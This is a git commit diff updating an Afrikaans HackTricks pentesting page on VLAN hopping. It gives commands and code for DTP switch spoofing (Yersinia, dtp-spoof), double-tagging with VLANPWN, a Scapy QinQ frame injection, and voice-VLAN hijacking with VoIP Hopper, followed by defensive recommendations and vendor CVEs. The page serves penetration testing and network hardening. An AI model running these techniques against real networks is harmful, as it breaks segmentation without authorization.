mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-methodologies-and-resources/pentesting-network/
This commit is contained in:
parent
20ceed1f58
commit
b58b1e85e6
@ -20,10 +20,11 @@ SW1(config)# interface GigabitEthernet 0/2
|
||||
SW1(config-if)# switchport trunk encapsulation dot1q
|
||||
SW1(config-if)# switchport mode trunk
|
||||
```
|
||||
Die oorgang na trunk-modus sal tydelik konneksie ontwrig, maar dit kan daarna herstel word.
|
||||
Die oorskakeling na trunk-modus sal tydelik konneksie onderbreek, maar dit kan daarna herstel word.
|
||||
|
||||
Virtuele interfaces word dan geskep, VLAN-ID's toegeken en geaktiveer:
|
||||
```bash
|
||||
# Legacy (vconfig) – still works but deprecated in modern kernels
|
||||
sudo vconfig add eth0 10
|
||||
sudo vconfig add eth0 20
|
||||
sudo vconfig add eth0 50
|
||||
@ -32,27 +33,36 @@ sudo ifconfig eth0.10 up
|
||||
sudo ifconfig eth0.20 up
|
||||
sudo ifconfig eth0.50 up
|
||||
sudo ifconfig eth0.60 up
|
||||
|
||||
# Modern (ip-link – preferred)
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.10 type vlan id 10
|
||||
sudo ip link add link eth0 name eth0.20 type vlan id 20
|
||||
sudo ip link set eth0.10 up
|
||||
sudo ip link set eth0.20 up
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Daarna word 'n adresversoek via DHCP gemaak. Alternatiewelik, in gevalle waar DHCP nie haalbaar is nie, kan adresse handmatig gekonfigureer word:
|
||||
```bash
|
||||
sudo dhclient -v eth0.10
|
||||
sudo dhclient -v eth0.20
|
||||
sudo dhclient -v eth0.50
|
||||
sudo dhclient -v eth0.60
|
||||
```
|
||||
Voorbeeld van handmatig 'n statiese IP-adres op 'n koppelvlak (VLAN 10) in te stel:
|
||||
```bash
|
||||
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
# or
|
||||
sudo ip addr add 10.10.10.66/24 dev eth0.10
|
||||
```
|
||||
Verbondenheid word getoets deur ICMP versoeke na die standaard gateways vir VLANs 10, 20, 50, en 60 te begin.
|
||||
Verbondenheid word getoets deur ICMP versoeke na die standaard poorte vir VLANs 10, 20, 50, en 60 te begin.
|
||||
|
||||
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies stel.
|
||||
Uiteindelik stel hierdie proses die omseiling van VLAN-segmentasie in staat, wat onbeperkte toegang tot enige VLAN-netwerk fasiliteer, en die grondslag vir daaropvolgende aksies lê.
|
||||
|
||||
---
|
||||
|
||||
## Ander VLAN-Hopping Tegnieke (geen bevoorregte skakelaar CLI)
|
||||
|
||||
Die vorige metode neem aan dat daar geverifieerde konsole of Telnet/SSH toegang tot die skakelaar is. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal pivot sonder om ooit in die skakelaar OS in te teken:
|
||||
Die vorige metode neem aan dat geverifieerde konsole of Telnet/SSH toegang tot die skakelaar verkry word. In werklike betrokkenhede is die aanvaller gewoonlik aan 'n **gewone toegangspoort** gekoppel. Die volgende Laag-2 truuks laat jou dikwels lateraal beweeg sonder om ooit in die skakelaar OS in te teken:
|
||||
|
||||
### 1. Skakelaar-Spoofing met Dynamiese Trunking Protokol (DTP)
|
||||
|
||||
@ -61,22 +71,29 @@ Cisco-skakelaars wat DTP geaktiveer hou, sal gelukkig 'n trunk onderhandel as di
|
||||
*Yersinia* en verskeie PoCs outomatiseer die proses:
|
||||
```bash
|
||||
# Become a trunk using Yersinia (GUI)
|
||||
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
|
||||
|
||||
# Python PoC (dtp-spoof)
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfaces skep en presies soos in die vorige afdeling getoon, pivot. Moderne Linux-kernels vereis nie meer *vconfig* nie; gebruik eerder *ip link*:
|
||||
Recon helper (passief vingerafdruk die poort se DTP-toestand):
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
sudo ip addr add 10.10.30.66/24 dev eth0.30
|
||||
sudo ip link set eth0.30 up
|
||||
|
||||
# or
|
||||
|
||||
wget https://gist.githubusercontent.com/mgeeky/3f678d385984ba0377299a844fb793fa/raw/dtpscan.py
|
||||
sudo python3 dtpscan.py -i eth0
|
||||
```
|
||||
Sodra die poort na trunk oorgeskakel word, kan jy 802.1Q sub-interfases skep en presies soos in die vorige afdeling getoon, pivot.
|
||||
|
||||
### 2. Dubbel-Tagging (Native-VLAN Misbruik)
|
||||
|
||||
As die aanvaller op die **native (onttag) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN "spring" selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2024 verfrissing) outomatiseer die inspuiting:
|
||||
As die aanvaller op die **native (ongemerkte) VLAN** sit, kan 'n vervaardigde raam met *twee* 802.1Q koppe na 'n tweede VLAN spring, selfs wanneer die poort in toegangmodus vergrendel is. Gereedskap soos **VLANPWN DoubleTagging.py** (2022-2025 verfrissing) outomatiseer die inspuiting:
|
||||
```bash
|
||||
python3 DoubleTagging.py \
|
||||
--interface eth0 \
|
||||
@ -85,15 +102,9 @@ python3 DoubleTagging.py \
|
||||
--victim 10.10.20.24 \
|
||||
--attacker 10.10.1.54
|
||||
```
|
||||
Packet walk-through:
|
||||
1. Die buite etiket (1) word verwyder deur die eerste skakel omdat dit die inheemse VLAN ooreenstem.
|
||||
2. Die binne etiket (20) is nou blootgestel; die raamwerk word na die trunk na VLAN 20 gestuur.
|
||||
### 3. QinQ (802.1ad) Stapeling
|
||||
|
||||
Die tegniek werk steeds in 2025 op netwerke wat die inheemse VLAN op die standaard laat en ongetagde rame aanvaar.
|
||||
|
||||
### 3. QinQ (802.1ad) Stacking
|
||||
|
||||
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller willekeurige 802.1Q-getagde verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir 802.1ad ethertype 0x88a8 en probeer om die buite etiket met Scapy te pop:
|
||||
Baie ondernemingskerns ondersteun *Q-in-Q* diensverskaffer enkapsulasie. Waar toegelaat, kan 'n aanvaller arbitrêre 802.1Q-gemerkte verkeer binne 'n verskaffer (S-tag) tonnel om sekuriteitsgebiede oor te steek. Vang vir ethertype `0x88a8` en probeer om die buite-tag met Scapy te verwyder:
|
||||
```python
|
||||
from scapy.all import *
|
||||
outer = 100 # Service tag
|
||||
@ -102,15 +113,43 @@ payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/
|
||||
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
|
||||
sendp(frame, iface="eth0")
|
||||
```
|
||||
### 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)
|
||||
|
||||
Korporatiewe toegangspoorte sit dikwels in 'n *“access + voice”* konfigurasie: ongetagde data VLAN vir die werkstasie en 'n getagde stem VLAN wat deur CDP of LLDP-MED geadverteer word. Deur 'n IP-telefoon na te boots, kan die aanvaller outomaties die VoIP VLAN ontdek en daarin spring—selfs wanneer DTP gedeaktiveer is.
|
||||
|
||||
*VoIP Hopper* (verpak in Kali 2025.2) ondersteun CDP, DHCP opsies **176/242**, en volle LLDP-MED spoofing:
|
||||
```bash
|
||||
# One-shot discovery & hop
|
||||
sudo voiphopper -i eth0 -f cisco-7940
|
||||
|
||||
# Interactive Assessment Mode (passive sniff → auto-hop when VVID learnt)
|
||||
sudo voiphopper -i eth0 -z
|
||||
|
||||
# Result: new sub-interface eth0.<VVID> with a DHCP or static address inside the voice VLAN
|
||||
```
|
||||
Die tegniek omseil data/spraak skeiding en is uiters algemeen op ondernemingsrand-skakels in 2025 omdat LLDP outomatiese beleid standaard geaktiveer is op baie modelle.
|
||||
|
||||
---
|
||||
|
||||
## Verdedigende Aanbevelings
|
||||
|
||||
1. Deaktiveer DTP op alle gebruikersfrontpoorte: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en tag dit: `vlan dot1q tag native`.
|
||||
3. Snoei onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Handhaaf poortsekuriteit, DHCP snooping & dinamiese ARP-inspeksie om onwettige Laag-2 aktiwiteit te beperk.
|
||||
5. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou.
|
||||
2. Verander die inheemse VLAN op elke trunk na 'n **onbenutte, swartgat VLAN** en merk dit: `vlan dot1q tag native`.
|
||||
3. Prune onnodige VLANs op trunks: `switchport trunk allowed vlan 10,20`.
|
||||
4. Handhaaf poortsekuriteit, DHCP snooping, dinamiese ARP-inspeksie **en 802.1X** om onwettige Laag-2 aktiwiteit te beperk.
|
||||
5. Deaktiveer LLDP-MED outomatiese spraakbeleide (of sluit dit aan by geverifieerde MAC OUI's) as IP-foon spoofing nie vereis word nie.
|
||||
6. Verkies private-VLANs of L3 segmentasie eerder as om slegs op 802.1Q skeiding te vertrou.
|
||||
|
||||
---
|
||||
|
||||
## Werklike Verskaffer Kwetsbaarhede (2022-2024)
|
||||
|
||||
Selfs 'n perfek geharde skakelkonfigurasie kan steeds ondermyn word deur firmware foute. Onlangs voorbeelde sluit in:
|
||||
|
||||
* **CVE-2022-20728† – Cisco Aironet/Catalyst Toegangspunte** laat inspuiting van die inheemse VLAN in nie-inheemse WLAN VLANs toe, wat bedrade/draadlose segmentasie omseil.
|
||||
* **CVE-2024-20465 (Cisco IOS Industriële Ethernet)** laat ACL omseiling op SVIs toe na die omskakeling van Resilient Ethernet Protocol, wat verkeer tussen VRFs/VLANs lek. Patches 17.9.5 of later.
|
||||
|
||||
Monitor altyd die verskaffer advies oor VLAN-verwante omseiling/ACL probleme en hou infrastruktuur beelde op datum.
|
||||
|
||||
---
|
||||
|
||||
@ -119,5 +158,7 @@ sendp(frame, iface="eth0")
|
||||
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
- VLANPWN aanval toolkit – <https://github.com/casterbytethrowback/VLANPWN>
|
||||
- Twingate "Wat is VLAN Hopping?" (Aug 2024) – <https://www.twingate.com/blog/glossary/vlan%20hopping>
|
||||
- VoIP Hopper projek – <https://github.com/hmgh0st/voiphopper>
|
||||
- Cisco Advies “cisco-sa-apvlan-TDTtb4FY” – <https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apvlan-TDTtb4FY>
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user